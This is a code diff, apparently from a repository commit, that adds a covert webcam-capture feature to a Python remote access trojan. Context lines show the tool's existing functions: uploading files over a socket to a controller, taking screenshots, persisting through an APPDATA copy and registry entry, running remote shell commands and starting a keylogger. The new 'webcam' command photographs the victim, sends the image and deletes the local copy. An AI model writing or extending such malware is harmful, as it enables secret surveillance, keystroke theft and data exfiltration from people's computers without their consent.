1
1
# Standard library imports
2
+ import cv2
2
3
import json
3
4
import os
4
5
import shutil
@@ -52,6 +53,7 @@ def download_file(file_name):
52
53
def upload_file (file_name ):
53
54
f = open (file_name , 'rb' )
54
55
s .send (f .read ())
56
+ f .close ()
55
57
56
58
57
59
def download_url (url ):
@@ -73,6 +75,36 @@ def screenshot():
73
75
74
76
# TODO: screenshot other monitors
75
77
78
+
79
+ def capture_webcam ():
80
+ webcam = cv2 .VideoCapture (0 )
81
+ webcam .set (cv2 .CAP_PROP_EXPOSURE , 40 )
82
+
83
+ # Check if the webcam is available
84
+ if not webcam .isOpened ():
85
+ print ("No webcam available" )
86
+ return
87
+
88
+ ret , frame = webcam .read ()
89
+
90
+ # Check if the webcam was able to capture a frame
91
+ if not ret :
92
+ print ("Failed to read frame from webcam" )
93
+ return
94
+
95
+ webcam .release ()
96
+
97
+ # Save the frame to a file
98
+ if platform == "win32" or platform == "darwin" or platform == "linux" or platform == "linux2" :
99
+ is_success , im_buf_arr = cv2 .imencode (".webcam.png" , frame )
100
+ if is_success :
101
+ with open ('.webcam.png' , 'wb' ) as f :
102
+ f .write (im_buf_arr .tobytes ())
103
+ else :
104
+ print ("Failed to save webcam image" )
105
+
106
+
107
+
76
108
def persist (reg_name , copy_name ):
77
109
file_location = os .environ ['appdata' ] + '\\ ' + copy_name
78
110
try :
@@ -129,6 +161,10 @@ def shell():
129
161
screenshot ()
130
162
upload_file ('.screen.png' )
131
163
os .remove ('.screen.png' )
164
+ elif command [:6 ] == 'webcam' :
165
+ capture_webcam ()
166
+ upload_file ('.webcam.png' )
167
+ os .remove ('.webcam.png' )
132
168
elif command [:12 ] == 'keylog_start' :
133
169
keylog = keylogger .Keylogger ()
134
170
t = threading .Thread (target = keylog .start )
0 commit comments